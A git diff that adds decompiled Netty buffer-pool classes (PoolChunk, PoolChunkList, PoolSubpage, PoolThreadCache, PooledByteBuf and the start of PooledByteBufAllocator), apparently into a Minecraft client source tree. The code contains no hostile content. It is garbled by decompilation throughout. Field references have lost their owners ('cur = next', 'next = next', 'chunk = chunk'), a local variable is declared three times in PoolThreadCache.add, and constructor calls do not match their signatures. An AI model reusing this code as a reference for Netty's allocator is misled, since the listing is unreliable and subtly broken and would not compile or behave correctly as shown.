+      buf.init(this, handle, runOffset(memoryMapIdx), reqCapacity, runLength(memoryMapIdx));
+    } else {
+      initBufWithSubpage(buf, handle, bitmapIdx, reqCapacity);
+    }
+  }
+  
+  void initBufWithSubpage(PooledByteBuf<T> buf, long handle, int reqCapacity) {
+    initBufWithSubpage(buf, handle, (int)(handle >>> 32), reqCapacity);
+  }
+  
+  private void initBufWithSubpage(PooledByteBuf<T> buf, long handle, int bitmapIdx, int reqCapacity) {
+    assert (bitmapIdx != 0);
+    
+    int memoryMapIdx = (int)handle;
+    
+    PoolSubpage<T> subpage = subpages[subpageIdx(memoryMapIdx)];
+    assert (doNotDestroy);
+    assert (reqCapacity <= elemSize);
+    
+    buf.init(this, handle, runOffset(memoryMapIdx) + (bitmapIdx & 0x3FFFFFFF) * elemSize, reqCapacity, elemSize);
+  }
+  
+
+  private byte value(int id)
+  {
+    return memoryMap[id];
+  }
+  
+  private void setValue(int id, byte val) {
+    memoryMap[id] = val;
+  }
+  
+  private byte depth(int id) {
+    return depthMap[id];
+  }
+  
+  private static int log2(int val)
+  {
+    return 31 - Integer.numberOfLeadingZeros(val);
+  }
+  
+  private int runLength(int id)
+  {
+    return 1 << log2ChunkSize - depth(id);
+  }
+  
+  private int runOffset(int id)
+  {
+    int shift = id ^ 1 << depth(id);
+    return shift * runLength(id);
+  }
+  
+  private int subpageIdx(int memoryMapIdx) {
+    return memoryMapIdx ^ maxSubpageAllocs;
+  }
+  
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    buf.append("Chunk(");
+    buf.append(Integer.toHexString(System.identityHashCode(this)));
+    buf.append(": ");
+    buf.append(usage());
+    buf.append("%, ");
+    buf.append(chunkSize - freeBytes);
+    buf.append('/');
+    buf.append(chunkSize);
+    buf.append(')');
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PoolChunkList.java b/src/minecraft/io/netty/buffer/PoolChunkList.java
new file mode 100644
index 0000000..7458c52
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PoolChunkList.java
@@ -0,0 +1,129 @@
+package io.netty.buffer;
+
+import io.netty.util.internal.StringUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PoolChunkList<T>
+{
+  private final PoolArena<T> arena;
+  private final PoolChunkList<T> nextList;
+  PoolChunkList<T> prevList;
+  private final int minUsage;
+  private final int maxUsage;
+  private PoolChunk<T> head;
+  
+  PoolChunkList(PoolArena<T> arena, PoolChunkList<T> nextList, int minUsage, int maxUsage)
+  {
+    this.arena = arena;
+    this.nextList = nextList;
+    this.minUsage = minUsage;
+    this.maxUsage = maxUsage;
+  }
+  
+  boolean allocate(PooledByteBuf<T> buf, int reqCapacity, int normCapacity) {
+    if (head == null) {
+      return false;
+    }
+    
+    PoolChunk<T> cur = head;
+    for (;;) { long handle = cur.allocate(normCapacity);
+      if (handle < 0L) {
+        cur = next;
+        if (cur == null) {
+          return false;
+        }
+      } else {
+        cur.initBuf(buf, handle, reqCapacity);
+        if (cur.usage() >= maxUsage) {
+          remove(cur);
+          nextList.add(cur);
+        }
+        return true;
+      }
+    }
+  }
+  
+  void free(PoolChunk<T> chunk, long handle) {
+    chunk.free(handle);
+    if (chunk.usage() < minUsage) {
+      remove(chunk);
+      if (prevList == null) {
+        assert (chunk.usage() == 0);
+        arena.destroyChunk(chunk);
+      } else {
+        prevList.add(chunk);
+      }
+    }
+  }
+  
+  void add(PoolChunk<T> chunk) {
+    if (chunk.usage() >= maxUsage) {
+      nextList.add(chunk);
+      return;
+    }
+    
+    parent = this;
+    if (head == null) {
+      head = chunk;
+      prev = null;
+      next = null;
+    } else {
+      prev = null;
+      next = head;
+      head.prev = chunk;
+      head = chunk;
+    }
+  }
+  
+  private void remove(PoolChunk<T> cur) {
+    if (cur == head) {
+      head = next;
+      if (head != null) {
+        head.prev = null;
+      }
+    } else {
+      PoolChunk<T> next = next;
+      prev.next = next;
+      if (next != null) {
+        prev = prev;
+      }
+    }
+  }
+  
+  public String toString()
+  {
+    if (head == null) {
+      return "none";
+    }
+    
+    StringBuilder buf = new StringBuilder();
+    PoolChunk<T> cur = head;
+    for (;;) { buf.append(cur);
+      cur = next;
+      if (cur == null) {
+        break;
+      }
+      buf.append(StringUtil.NEWLINE);
+    }
+    
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PoolChunkListMetric.java b/src/minecraft/io/netty/buffer/PoolChunkListMetric.java
new file mode 100644
index 0000000..51e4330
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PoolChunkListMetric.java
@@ -0,0 +1,9 @@
+package io.netty.buffer;
+
+public abstract interface PoolChunkListMetric
+  extends Iterable<PoolChunkMetric>
+{
+  public abstract int minUsage();
+  
+  public abstract int maxUsage();
+}
diff --git a/src/minecraft/io/netty/buffer/PoolChunkMetric.java b/src/minecraft/io/netty/buffer/PoolChunkMetric.java
new file mode 100644
index 0000000..7703a91
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PoolChunkMetric.java
@@ -0,0 +1,10 @@
+package io.netty.buffer;
+
+public abstract interface PoolChunkMetric
+{
+  public abstract int usage();
+  
+  public abstract int chunkSize();
+  
+  public abstract int freeBytes();
+}
diff --git a/src/minecraft/io/netty/buffer/PoolSubpage.java b/src/minecraft/io/netty/buffer/PoolSubpage.java
new file mode 100644
index 0000000..08414c6
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PoolSubpage.java
@@ -0,0 +1,212 @@
+package io.netty.buffer;
+
+
+
+final class PoolSubpage<T>
+{
+  final PoolChunk<T> chunk;
+  
+
+  private final int memoryMapIdx;
+  
+
+  private final int runOffset;
+  
+
+  private final int pageSize;
+  
+
+  private final long[] bitmap;
+  
+
+  PoolSubpage<T> prev;
+  
+
+  PoolSubpage<T> next;
+  
+  boolean doNotDestroy;
+  
+  int elemSize;
+  
+  private int maxNumElems;
+  
+  private int bitmapLength;
+  
+  private int nextAvail;
+  
+  private int numAvail;
+  
+
+  PoolSubpage(int pageSize)
+  {
+    chunk = null;
+    memoryMapIdx = -1;
+    runOffset = -1;
+    elemSize = -1;
+    this.pageSize = pageSize;
+    bitmap = null;
+  }
+  
+  PoolSubpage(PoolChunk<T> chunk, int memoryMapIdx, int runOffset, int pageSize, int elemSize) {
+    this.chunk = chunk;
+    this.memoryMapIdx = memoryMapIdx;
+    this.runOffset = runOffset;
+    this.pageSize = pageSize;
+    bitmap = new long[pageSize >>> 10];
+    init(elemSize);
+  }
+  
+  void init(int elemSize) {
+    doNotDestroy = true;
+    this.elemSize = elemSize;
+    if (elemSize != 0) {
+      maxNumElems = (this.numAvail = pageSize / elemSize);
+      nextAvail = 0;
+      bitmapLength = (maxNumElems >>> 6);
+      if ((maxNumElems & 0x3F) != 0) {
+        bitmapLength += 1;
+      }
+      
+      for (int i = 0; i < bitmapLength; i++) {
+        bitmap[i] = 0L;
+      }
+    }
+    
+    addToPool();
+  }
+  
+
+
+  long allocate()
+  {
+    if (elemSize == 0) {
+      return toHandle(0);
+    }
+    
+    if ((numAvail == 0) || (!doNotDestroy)) {
+      return -1L;
+    }
+    
+    int bitmapIdx = getNextAvail();
+    int q = bitmapIdx >>> 6;
+    int r = bitmapIdx & 0x3F;
+    assert ((bitmap[q] >>> r & 1L) == 0L);
+    bitmap[q] |= 1L << r;
+    
+    if (--numAvail == 0) {
+      removeFromPool();
+    }
+    
+    return toHandle(bitmapIdx);
+  }
+  
+
+
+
+
+  boolean free(int bitmapIdx)
+  {
+    if (elemSize == 0) {
+      return true;
+    }
+    
+    int q = bitmapIdx >>> 6;
+    int r = bitmapIdx & 0x3F;
+    assert ((bitmap[q] >>> r & 1L) != 0L);
+    bitmap[q] ^= 1L << r;
+    
+    setNextAvail(bitmapIdx);
+    
+    if (numAvail++ == 0) {
+      addToPool();
+      return true;
+    }
+    
+    if (numAvail != maxNumElems) {
+      return true;
+    }
+    
+    if (prev == next)
+    {
+      return true;
+    }
+    
+
+    doNotDestroy = false;
+    removeFromPool();
+    return false;
+  }
+  
+  private void addToPool()
+  {
+    PoolSubpage<T> head = chunk.arena.findSubpagePoolHead(elemSize);
+    assert ((prev == null) && (next == null));
+    prev = head;
+    next = next;
+    next.prev = this;
+    next = this;
+  }
+  
+  private void removeFromPool() {
+    assert ((prev != null) && (next != null));
+    prev.next = next;
+    next.prev = prev;
+    next = null;
+    prev = null;
+  }
+  
+  private void setNextAvail(int bitmapIdx) {
+    nextAvail = bitmapIdx;
+  }
+  
+  private int getNextAvail() {
+    int nextAvail = this.nextAvail;
+    if (nextAvail >= 0) {
+      this.nextAvail = -1;
+      return nextAvail;
+    }
+    return findNextAvail();
+  }
+  
+  private int findNextAvail() {
+    long[] bitmap = this.bitmap;
+    int bitmapLength = this.bitmapLength;
+    for (int i = 0; i < bitmapLength; i++) {
+      long bits = bitmap[i];
+      if ((bits ^ 0xFFFFFFFFFFFFFFFF) != 0L) {
+        return findNextAvail0(i, bits);
+      }
+    }
+    return -1;
+  }
+  
+  private int findNextAvail0(int i, long bits) {
+    int maxNumElems = this.maxNumElems;
+    int baseVal = i << 6;
+    
+    for (int j = 0; j < 64; j++) {
+      if ((bits & 1L) == 0L) {
+        int val = baseVal | j;
+        if (val >= maxNumElems) break;
+        return val;
+      }
+      
+
+
+      bits >>>= 1;
+    }
+    return -1;
+  }
+  
+  private long toHandle(int bitmapIdx) {
+    return 0x4000000000000000 | bitmapIdx << 32 | memoryMapIdx;
+  }
+  
+  public String toString() {
+    if (!doNotDestroy) {
+      return "(" + memoryMapIdx + ": not in use)";
+    }
+    
+    return String.valueOf('(') + memoryMapIdx + ": " + (maxNumElems - numAvail) + '/' + maxNumElems + ", offset: " + runOffset + ", length: " + pageSize + ", elemSize: " + elemSize + ')';
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PoolSubpageMetric.java b/src/minecraft/io/netty/buffer/PoolSubpageMetric.java
new file mode 100644
index 0000000..003f6a5
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PoolSubpageMetric.java
@@ -0,0 +1,12 @@
+package io.netty.buffer;
+
+public abstract interface PoolSubpageMetric
+{
+  public abstract int maxNumElements();
+  
+  public abstract int numAvailable();
+  
+  public abstract int elementSize();
+  
+  public abstract int pageSize();
+}
diff --git a/src/minecraft/io/netty/buffer/PoolThreadCache.java b/src/minecraft/io/netty/buffer/PoolThreadCache.java
new file mode 100644
index 0000000..1253fb8
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PoolThreadCache.java
@@ -0,0 +1,488 @@
+package io.netty.buffer;
+
+import io.netty.util.ThreadDeathWatcher;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.nio.ByteBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class PoolThreadCache
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(PoolThreadCache.class);
+  
+  final PoolArena<byte[]> heapArena;
+  
+  final PoolArena<ByteBuffer> directArena;
+  
+  private final MemoryRegionCache<byte[]>[] tinySubPageHeapCaches;
+  
+  private final MemoryRegionCache<byte[]>[] smallSubPageHeapCaches;
+  
+  private final MemoryRegionCache<ByteBuffer>[] tinySubPageDirectCaches;
+  
+  private final MemoryRegionCache<ByteBuffer>[] smallSubPageDirectCaches;
+  
+  private final MemoryRegionCache<byte[]>[] normalHeapCaches;
+  private final MemoryRegionCache<ByteBuffer>[] normalDirectCaches;
+  private final int numShiftsNormalDirect;
+  private final int numShiftsNormalHeap;
+  private final int freeSweepAllocationThreshold;
+  private int allocations;
+  private final Thread thread = Thread.currentThread();
+  private final Runnable freeTask = new Runnable()
+  {
+    public void run() {
+      PoolThreadCache.this.free0();
+    }
+  };
+  
+
+
+
+
+  PoolThreadCache(PoolArena<byte[]> heapArena, PoolArena<ByteBuffer> directArena, int tinyCacheSize, int smallCacheSize, int normalCacheSize, int maxCachedBufferCapacity, int freeSweepAllocationThreshold)
+  {
+    if (maxCachedBufferCapacity < 0) {
+      throw new IllegalArgumentException("maxCachedBufferCapacity: " + maxCachedBufferCapacity + " (expected: >= 0)");
+    }
+    
+    if (freeSweepAllocationThreshold < 1) {
+      throw new IllegalArgumentException("freeSweepAllocationThreshold: " + maxCachedBufferCapacity + " (expected: > 0)");
+    }
+    
+    this.freeSweepAllocationThreshold = freeSweepAllocationThreshold;
+    this.heapArena = heapArena;
+    this.directArena = directArena;
+    if (directArena != null) {
+      tinySubPageDirectCaches = createSubPageCaches(tinyCacheSize, 32);
+      smallSubPageDirectCaches = createSubPageCaches(smallCacheSize, numSmallSubpagePools);
+      
+      numShiftsNormalDirect = log2(pageSize);
+      normalDirectCaches = createNormalCaches(normalCacheSize, maxCachedBufferCapacity, directArena);
+    }
+    else
+    {
+      tinySubPageDirectCaches = null;
+      smallSubPageDirectCaches = null;
+      normalDirectCaches = null;
+      numShiftsNormalDirect = -1;
+    }
+    if (heapArena != null)
+    {
+      tinySubPageHeapCaches = createSubPageCaches(tinyCacheSize, 32);
+      smallSubPageHeapCaches = createSubPageCaches(smallCacheSize, numSmallSubpagePools);
+      
+      numShiftsNormalHeap = log2(pageSize);
+      normalHeapCaches = createNormalCaches(normalCacheSize, maxCachedBufferCapacity, heapArena);
+    }
+    else
+    {
+      tinySubPageHeapCaches = null;
+      smallSubPageHeapCaches = null;
+      normalHeapCaches = null;
+      numShiftsNormalHeap = -1;
+    }
+    
+
+
+    ThreadDeathWatcher.watch(thread, freeTask);
+  }
+  
+  private static <T> SubPageMemoryRegionCache<T>[] createSubPageCaches(int cacheSize, int numCaches) {
+    if (cacheSize > 0)
+    {
+      SubPageMemoryRegionCache<T>[] cache = new SubPageMemoryRegionCache[numCaches];
+      for (int i = 0; i < cache.length; i++)
+      {
+        cache[i] = new SubPageMemoryRegionCache(cacheSize);
+      }
+      return cache;
+    }
+    return null;
+  }
+  
+
+  private static <T> NormalMemoryRegionCache<T>[] createNormalCaches(int cacheSize, int maxCachedBufferCapacity, PoolArena<T> area)
+  {
+    if (cacheSize > 0) {
+      int max = Math.min(chunkSize, maxCachedBufferCapacity);
+      int arraySize = Math.max(1, max / pageSize);
+      
+
+      NormalMemoryRegionCache<T>[] cache = new NormalMemoryRegionCache[arraySize];
+      for (int i = 0; i < cache.length; i++) {
+        cache[i] = new NormalMemoryRegionCache(cacheSize);
+      }
+      return cache;
+    }
+    return null;
+  }
+  
+  private static int log2(int val)
+  {
+    int res = 0;
+    while (val > 1) {
+      val >>= 1;
+      res++;
+    }
+    return res;
+  }
+  
+
+
+  boolean allocateTiny(PoolArena<?> area, PooledByteBuf<?> buf, int reqCapacity, int normCapacity)
+  {
+    return allocate(cacheForTiny(area, normCapacity), buf, reqCapacity);
+  }
+  
+
+
+  boolean allocateSmall(PoolArena<?> area, PooledByteBuf<?> buf, int reqCapacity, int normCapacity)
+  {
+    return allocate(cacheForSmall(area, normCapacity), buf, reqCapacity);
+  }
+  
+
+
+  boolean allocateNormal(PoolArena<?> area, PooledByteBuf<?> buf, int reqCapacity, int normCapacity)
+  {
+    return allocate(cacheForNormal(area, normCapacity), buf, reqCapacity);
+  }
+  
+  private boolean allocate(MemoryRegionCache<?> cache, PooledByteBuf buf, int reqCapacity)
+  {
+    if (cache == null)
+    {
+      return false;
+    }
+    boolean allocated = cache.allocate(buf, reqCapacity);
+    if (++allocations >= freeSweepAllocationThreshold) {
+      allocations = 0;
+      trim();
+    }
+    return allocated;
+  }
+  
+
+  boolean add(PoolArena<?> area, PoolChunk chunk, long handle, int normCapacity)
+  {
+    MemoryRegionCache<?> cache;
+    
+    MemoryRegionCache<?> cache;
+    
+    if (area.isTinyOrSmall(normCapacity)) { MemoryRegionCache<?> cache;
+      if (PoolArena.isTiny(normCapacity)) {
+        cache = cacheForTiny(area, normCapacity);
+      } else {
+        cache = cacheForSmall(area, normCapacity);
+      }
+    } else {
+      cache = cacheForNormal(area, normCapacity);
+    }
+    if (cache == null) {
+      return false;
+    }
+    return cache.add(chunk, handle);
+  }
+  
+
+
+  void free()
+  {
+    ThreadDeathWatcher.unwatch(thread, freeTask);
+    free0();
+  }
+  
+  private void free0() {
+    int numFreed = free(tinySubPageDirectCaches) + free(smallSubPageDirectCaches) + free(normalDirectCaches) + free(tinySubPageHeapCaches) + free(smallSubPageHeapCaches) + free(normalHeapCaches);
+    
+
+
+
+
+
+    if ((numFreed > 0) && (logger.isDebugEnabled())) {
+      logger.debug("Freed {} thread-local buffer(s) from thread: {}", Integer.valueOf(numFreed), thread.getName());
+    }
+  }
+  
+  private static int free(MemoryRegionCache<?>[] caches) {
+    if (caches == null) {
+      return 0;
+    }
+    
+    int numFreed = 0;
+    for (MemoryRegionCache<?> c : caches) {
+      numFreed += free(c);
+    }
+    return numFreed;
+  }
+  
+  private static int free(MemoryRegionCache<?> cache) {
+    if (cache == null) {
+      return 0;
+    }
+    return cache.free();
+  }
+  
+  void trim() {
+    trim(tinySubPageDirectCaches);
+    trim(smallSubPageDirectCaches);
+    trim(normalDirectCaches);
+    trim(tinySubPageHeapCaches);
+    trim(smallSubPageHeapCaches);
+    trim(normalHeapCaches);
+  }
+  
+  private static void trim(MemoryRegionCache<?>[] caches) {
+    if (caches == null) {
+      return;
+    }
+    for (MemoryRegionCache<?> c : caches) {
+      trim(c);
+    }
+  }
+  
+  private static void trim(MemoryRegionCache<?> cache) {
+    if (cache == null) {
+      return;
+    }
+    cache.trim();
+  }
+  
+  private MemoryRegionCache<?> cacheForTiny(PoolArena<?> area, int normCapacity) {
+    int idx = PoolArena.tinyIdx(normCapacity);
+    if (area.isDirect()) {
+      return cache(tinySubPageDirectCaches, idx);
+    }
+    return cache(tinySubPageHeapCaches, idx);
+  }
+  
+  private MemoryRegionCache<?> cacheForSmall(PoolArena<?> area, int normCapacity) {
+    int idx = PoolArena.smallIdx(normCapacity);
+    if (area.isDirect()) {
+      return cache(smallSubPageDirectCaches, idx);
+    }
+    return cache(smallSubPageHeapCaches, idx);
+  }
+  
+  private MemoryRegionCache<?> cacheForNormal(PoolArena<?> area, int normCapacity) {
+    if (area.isDirect()) {
+      int idx = log2(normCapacity >> numShiftsNormalDirect);
+      return cache(normalDirectCaches, idx);
+    }
+    int idx = log2(normCapacity >> numShiftsNormalHeap);
+    return cache(normalHeapCaches, idx);
+  }
+  
+  private static <T> MemoryRegionCache<T> cache(MemoryRegionCache<T>[] cache, int idx) {
+    if ((cache == null) || (idx > cache.length - 1)) {
+      return null;
+    }
+    return cache[idx];
+  }
+  
+  private static final class SubPageMemoryRegionCache<T>
+    extends PoolThreadCache.MemoryRegionCache<T>
+  {
+    SubPageMemoryRegionCache(int size)
+    {
+      super();
+    }
+    
+
+    protected void initBuf(PoolChunk<T> chunk, long handle, PooledByteBuf<T> buf, int reqCapacity)
+    {
+      chunk.initBufWithSubpage(buf, handle, reqCapacity);
+    }
+  }
+  
+  private static final class NormalMemoryRegionCache<T>
+    extends PoolThreadCache.MemoryRegionCache<T>
+  {
+    NormalMemoryRegionCache(int size)
+    {
+      super();
+    }
+    
+
+    protected void initBuf(PoolChunk<T> chunk, long handle, PooledByteBuf<T> buf, int reqCapacity)
+    {
+      chunk.initBuf(buf, handle, reqCapacity);
+    }
+  }
+  
+
+  private static abstract class MemoryRegionCache<T>
+  {
+    private final Entry<T>[] entries;
+    
+    private final int maxUnusedCached;
+    private int head;
+    private int tail;
+    private int maxEntriesInUse;
+    private int entriesInUse;
+    
+    MemoryRegionCache(int size)
+    {
+      entries = new Entry[powerOfTwo(size)];
+      for (int i = 0; i < entries.length; i++) {
+        entries[i] = new Entry(null);
+      }
+      maxUnusedCached = (size / 2);
+    }
+    
+    private static int powerOfTwo(int res) {
+      if (res <= 2) {
+        return 2;
+      }
+      res--;
+      res |= res >> 1;
+      res |= res >> 2;
+      res |= res >> 4;
+      res |= res >> 8;
+      res |= res >> 16;
+      res++;
+      return res;
+    }
+    
+
+
+
+    protected abstract void initBuf(PoolChunk<T> paramPoolChunk, long paramLong, PooledByteBuf<T> paramPooledByteBuf, int paramInt);
+    
+
+
+
+    public boolean add(PoolChunk<T> chunk, long handle)
+    {
+      Entry<T> entry = entries[tail];
+      if (chunk != null)
+      {
+        return false;
+      }
+      entriesInUse -= 1;
+      
+      chunk = chunk;
+      handle = handle;
+      tail = nextIdx(tail);
+      return true;
+    }
+    
+
+
+    public boolean allocate(PooledByteBuf<T> buf, int reqCapacity)
+    {
+      Entry<T> entry = entries[head];
+      if (chunk == null) {
+        return false;
+      }
+      
+      entriesInUse += 1;
+      if (maxEntriesInUse < entriesInUse) {
+        maxEntriesInUse = entriesInUse;
+      }
+      initBuf(chunk, handle, buf, reqCapacity);
+      
+      chunk = null;
+      head = nextIdx(head);
+      return true;
+    }
+    
+
+
+    public int free()
+    {
+      int numFreed = 0;
+      entriesInUse = 0;
+      maxEntriesInUse = 0;
+      for (int i = head;; i = nextIdx(i)) {
+        if (freeEntry(entries[i])) {
+          numFreed++;
+        }
+        else {
+          return numFreed;
+        }
+      }
+    }
+    
+
+
+    private void trim()
+    {
+      int free = size() - maxEntriesInUse;
+      entriesInUse = 0;
+      maxEntriesInUse = 0;
+      
+      if (free <= maxUnusedCached) {
+        return;
+      }
+      
+      int i = head;
+      for (; free > 0; free--) {
+        if (!freeEntry(entries[i]))
+        {
+          return;
+        }
+        i = nextIdx(i);
+      }
+    }
+    
+    private static boolean freeEntry(Entry entry)
+    {
+      PoolChunk chunk = entry.chunk;
+      if (chunk == null) {
+        return false;
+      }
+      
+      synchronized (arena) {
+        parent.free(chunk, handle);
+      }
+      entry.chunk = null;
+      return true;
+    }
+    
+
+
+    private int size()
+    {
+      return tail - head & entries.length - 1;
+    }
+    
+    private int nextIdx(int index)
+    {
+      return index + 1 & entries.length - 1;
+    }
+    
+    private static final class Entry<T>
+    {
+      PoolChunk<T> chunk;
+      long handle;
+      
+      private Entry() {}
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PooledByteBuf.java b/src/minecraft/io/netty/buffer/PooledByteBuf.java
new file mode 100644
index 0000000..c1b4b01
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PooledByteBuf.java
@@ -0,0 +1,160 @@
+package io.netty.buffer;
+
+import io.netty.util.Recycler;
+import io.netty.util.Recycler.Handle;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class PooledByteBuf<T>
+  extends AbstractReferenceCountedByteBuf
+{
+  private final Recycler.Handle recyclerHandle;
+  protected PoolChunk<T> chunk;
+  protected long handle;
+  protected T memory;
+  protected int offset;
+  protected int length;
+  int maxLength;
+  private ByteBuffer tmpNioBuf;
+  
+  protected PooledByteBuf(Recycler.Handle recyclerHandle, int maxCapacity)
+  {
+    super(maxCapacity);
+    this.recyclerHandle = recyclerHandle;
+  }
+  
+  void init(PoolChunk<T> chunk, long handle, int offset, int length, int maxLength) {
+    assert (handle >= 0L);
+    assert (chunk != null);
+    
+    this.chunk = chunk;
+    this.handle = handle;
+    memory = memory;
+    this.offset = offset;
+    this.length = length;
+    this.maxLength = maxLength;
+    setIndex(0, 0);
+    tmpNioBuf = null;
+  }
+  
+  void initUnpooled(PoolChunk<T> chunk, int length) {
+    assert (chunk != null);
+    
+    this.chunk = chunk;
+    handle = 0L;
+    memory = memory;
+    offset = 0;
+    this.length = (this.maxLength = length);
+    setIndex(0, 0);
+    tmpNioBuf = null;
+  }
+  
+  public final int capacity()
+  {
+    return length;
+  }
+  
+  public final ByteBuf capacity(int newCapacity)
+  {
+    ensureAccessible();
+    
+
+    if (chunk.unpooled) {
+      if (newCapacity == length) {
+        return this;
+      }
+    }
+    else if (newCapacity > length) {
+      if (newCapacity <= maxLength) {
+        length = newCapacity;
+        return this;
+      }
+    } else if (newCapacity < length) {
+      if (newCapacity > maxLength >>> 1) {
+        if (maxLength <= 512) {
+          if (newCapacity > maxLength - 16) {
+            length = newCapacity;
+            setIndex(Math.min(readerIndex(), newCapacity), Math.min(writerIndex(), newCapacity));
+            return this;
+          }
+        } else {
+          length = newCapacity;
+          setIndex(Math.min(readerIndex(), newCapacity), Math.min(writerIndex(), newCapacity));
+          return this;
+        }
+      }
+    } else {
+      return this;
+    }
+    
+
+
+    chunk.arena.reallocate(this, newCapacity, true);
+    return this;
+  }
+  
+  public final ByteBufAllocator alloc()
+  {
+    return chunk.arena.parent;
+  }
+  
+  public final ByteOrder order()
+  {
+    return ByteOrder.BIG_ENDIAN;
+  }
+  
+  public final ByteBuf unwrap()
+  {
+    return null;
+  }
+  
+  protected final ByteBuffer internalNioBuffer() {
+    ByteBuffer tmpNioBuf = this.tmpNioBuf;
+    if (tmpNioBuf == null) {
+      this.tmpNioBuf = (tmpNioBuf = newInternalNioBuffer(memory));
+    }
+    return tmpNioBuf;
+  }
+  
+  protected abstract ByteBuffer newInternalNioBuffer(T paramT);
+  
+  protected final void deallocate()
+  {
+    if (this.handle >= 0L) {
+      long handle = this.handle;
+      this.handle = -1L;
+      memory = null;
+      chunk.arena.free(chunk, handle, maxLength);
+      recycle();
+    }
+  }
+  
+  private void recycle() {
+    Recycler.Handle recyclerHandle = this.recyclerHandle;
+    if (recyclerHandle != null) {
+      recycler().recycle(this, recyclerHandle);
+    }
+  }
+  
+  protected abstract Recycler<?> recycler();
+  
+  protected final int idx(int index) {
+    return offset + index;
+  }
+}
diff --git a/src/minecraft/io/netty/buffer/PooledByteBufAllocator.java b/src/minecraft/io/netty/buffer/PooledByteBufAllocator.java
new file mode 100644
index 0000000..e029af3
--- /dev/null
+++ b/src/minecraft/io/netty/buffer/PooledByteBufAllocator.java
@@ -0,0 +1,315 @@
+package io.netty.buffer;
+
+import io.netty.util.concurrent.FastThreadLocal;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.SystemPropertyUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.nio.ByteBuffer;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PooledByteBufAllocator
+  extends AbstractByteBufAllocator
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(PooledByteBufAllocator.class);
+  
+  private static final int DEFAULT_NUM_HEAP_ARENA;
+  private static final int DEFAULT_NUM_DIRECT_ARENA;
+  private static final int DEFAULT_PAGE_SIZE;
+  private static final int DEFAULT_MAX_ORDER;
+  private static final int DEFAULT_TINY_CACHE_SIZE;
+  private static final int DEFAULT_SMALL_CACHE_SIZE;
+  private static final int DEFAULT_NORMAL_CACHE_SIZE;
+  private static final int DEFAULT_MAX_CACHED_BUFFER_CAPACITY;
+  private static final int DEFAULT_CACHE_TRIM_INTERVAL;
+  private static final int MIN_PAGE_SIZE = 4096;
+  private static final int MAX_CHUNK_SIZE = 1073741824;
+  
+  static
+  {
+    int defaultPageSize = SystemPropertyUtil.getInt("io.netty.allocator.pageSize", 8192);
+    Throwable pageSizeFallbackCause = null;
+    try {
+      validateAndCalculatePageShifts(defaultPageSize);
+    } catch (Throwable t) {
+      pageSizeFallbackCause = t;
+      defaultPageSize = 8192;
+    }
+    DEFAULT_PAGE_SIZE = defaultPageSize;
+    
+    int defaultMaxOrder = SystemPropertyUtil.getInt("io.netty.allocator.maxOrder", 11);
+    Throwable maxOrderFallbackCause = null;
+    try {
+      validateAndCalculateChunkSize(DEFAULT_PAGE_SIZE, defaultMaxOrder);
+    } catch (Throwable t) {
+      maxOrderFallbackCause = t;
+      defaultMaxOrder = 11;
+    }
+    DEFAULT_MAX_ORDER = defaultMaxOrder;
+    
+
+
+    Runtime runtime = Runtime.getRuntime();
+    int defaultChunkSize = DEFAULT_PAGE_SIZE << DEFAULT_MAX_ORDER;
+    DEFAULT_NUM_HEAP_ARENA = Math.max(0, SystemPropertyUtil.getInt("io.netty.allocator.numHeapArenas", (int)Math.min(runtime.availableProcessors(), Runtime.getRuntime().maxMemory() / defaultChunkSize / 2L / 3L)));
+    
+
+
+
+
+    DEFAULT_NUM_DIRECT_ARENA = Math.max(0, SystemPropertyUtil.getInt("io.netty.allocator.numDirectArenas", (int)Math.min(runtime.availableProcessors(), PlatformDependent.maxDirectMemory() / defaultChunkSize / 2L / 3L)));
+    
+
+
+
+
+
+
+    DEFAULT_TINY_CACHE_SIZE = SystemPropertyUtil.getInt("io.netty.allocator.tinyCacheSize", 512);
+    DEFAULT_SMALL_CACHE_SIZE = SystemPropertyUtil.getInt("io.netty.allocator.smallCacheSize", 256);
+    DEFAULT_NORMAL_CACHE_SIZE = SystemPropertyUtil.getInt("io.netty.allocator.normalCacheSize", 64);
+    
+
+
+    DEFAULT_MAX_CACHED_BUFFER_CAPACITY = SystemPropertyUtil.getInt("io.netty.allocator.maxCachedBufferCapacity", 32768);
+    
+
+
+    DEFAULT_CACHE_TRIM_INTERVAL = SystemPropertyUtil.getInt("io.netty.allocator.cacheTrimInterval", 8192);
+    
+
+    if (logger.isDebugEnabled()) {
+      logger.debug("-Dio.netty.allocator.numHeapArenas: {}", Integer.valueOf(DEFAULT_NUM_HEAP_ARENA));
+      logger.debug("-Dio.netty.allocator.numDirectArenas: {}", Integer.valueOf(DEFAULT_NUM_DIRECT_ARENA));
+      if (pageSizeFallbackCause == null) {
+        logger.debug("-Dio.netty.allocator.pageSize: {}", Integer.valueOf(DEFAULT_PAGE_SIZE));
+      } else {
+        logger.debug("-Dio.netty.allocator.pageSize: {}", Integer.valueOf(DEFAULT_PAGE_SIZE), pageSizeFallbackCause);
+      }
+      if (maxOrderFallbackCause == null) {
